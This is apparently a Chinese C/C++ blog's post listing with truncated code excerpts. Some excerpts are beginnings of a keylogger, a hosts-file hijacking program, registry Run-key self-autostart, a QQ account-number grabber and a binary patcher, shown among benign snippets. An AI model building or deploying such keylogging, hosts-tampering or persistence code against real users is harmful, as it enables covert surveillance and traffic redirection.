c++键盘记录器代码

c++键盘记录器代码

#include <windows.h> #include <Winuser.h> #include <string> #include <fstream> #include <iostream> using namespace std; string GetKey(int Key) // 判断键盘按下什么键 { string KeyString = ""; //判断符号输入 const int KeyPressMask=0x80000000; //键盘掩码常量 int iShift=...

C/C++ 2020-10-18 AM 1482℃ 0条
C++ 获取当前QQ号

C++ 获取当前QQ号

通过类名1.1 通过qqexchangewnd_shortcut_prefix_123456789类名得到qqexchangewnd_shortcut_prefix_123456789这样的字符串123456789就是正在登录的qq的号如果同时登录几个QQ,只能获取最晚登录的q号#include "stdafx.h" #include <stdio.h> #include <string.h> #include <windows.h> // 得到qqexchangewnd_shortcut_prefix_123456789这样的字符...

C/C++ 2020-10-17 PM 1454℃ 0条
c++ 根据进程ID结束进程

c++ 根据进程ID结束进程

#include <iostream> #include <windows.h> void KillProcessById(DWORD pid) { HANDLE hnd; hnd = OpenProcess(SYNCHRONIZE | PROCESS_TERMINATE, TRUE, pid); TerminateProcess(hnd, 0); } int main() { using namespace std; DWORD pid = GetCurrentProcessId(); KillProcess...

C/C++ 2020-10-17 AM 1419℃ 0条
C语言进行hosts文件劫持

C语言进行hosts文件劫持

#include <iostream> #include <fstream> #include <string> #include <Windows.h> #include <stdio.h> using namespace std; int main() { FILE *f = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "a"); char *url = "\n127.0.0.1 ...

C/C++ 2020-10-16 PM 1766℃ 0条
c++ 设置文件夹图标

c++ 设置文件夹图标

#include <iostream> #include <string> #include <windows.h> int main(int argc, char *argv[]) { if(argc != 3) // 判断参数个数,若小于 3 则输出提示 { printf("\t\t**************************************\n"); printf("\t\t\tSetDirIcon By Hoy0a1d.\n"...

C/C++ 2020-10-16 PM 1513℃ 0条
c++ 弹出对话框

c++ 弹出对话框

include<stdio.h>include<windows.h>int main(int argc, char* argv[]){system("chcp 65001"); MessageBox(NULL, TEXT("发生错误!"), TEXT("提示"), MB_OK);return 0;}

C/C++ 2020-10-16 PM 1303℃ 0条
C语言可执行程序带参执行

C语言可执行程序带参执行

#include<stdio.h> int main(int argc, char* argv[]) { int i; for (i = 1; i < argc; i++) { printf("%s\n",argv[i]); } printf("\n"); return 0; }

C/C++ 2020-10-16 PM 1526℃ 0条
C++实现小巧玲珑并且无毒的文件补丁

C++实现小巧玲珑并且无毒的文件补丁

从网上找到了一段使用C++完成的文件补丁代码,觉得挺好的,其他补丁制作工具制作出来的补丁均可以扫描出病毒,但是C++原生实现的,基本无毒,并且小巧,觉得非常不错,分享给大家,希望大家有好的思路共同讨论下。代码如下:#include <Windows.h> #include <iostream> #include <stdio.h> using namespace std; int main(int argc, char *argv[]) { DWORD dwFileOffset = 0x449; //文件偏移地址 BYTE...

C/C++ 2020-10-16 PM 1590℃ 0条
C++ 根据选项执行命令

C++ 根据选项执行命令

#include <iostream> #include <windows.h> #include <stdlib.h> int main (void) { system("chcp 65001"); int x; //设置窗口颜色,标题,大小 system("color 1F"); system("title Windows 快捷方式 "); system("mode con:cols=50 lines=25"); ...

C/C++ 2020-10-16 PM 1416℃ 0条
c++ 实现设置自身开机启动(需要管理员权限)

c++ 实现设置自身开机启动(需要管理员权限)

#include<string.h> #include<windows.h> int main(int argc, char *argv[]) { char cmd[300]="reg ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v exename /t REG_SZ /d \""; char *path=argv[0]; strcat(cmd,path); strcat(cmd,"...

C/C++ 2020-10-16 PM 3013℃ 0条
c/c++ 1-100内的奇数和偶数

c/c++ 1-100内的奇数和偶数

#include<stdio.h> int main() { int i; printf("\n偶数\n"); for (i = 1; i <= 100; i++) { if (!(i % 2)) printf("%d ", i); } printf("\n基数 \n"); i = 0; while (i < 100) { i++; if (i % 2) ...

PHP 2020-10-16 PM 3058℃ 0条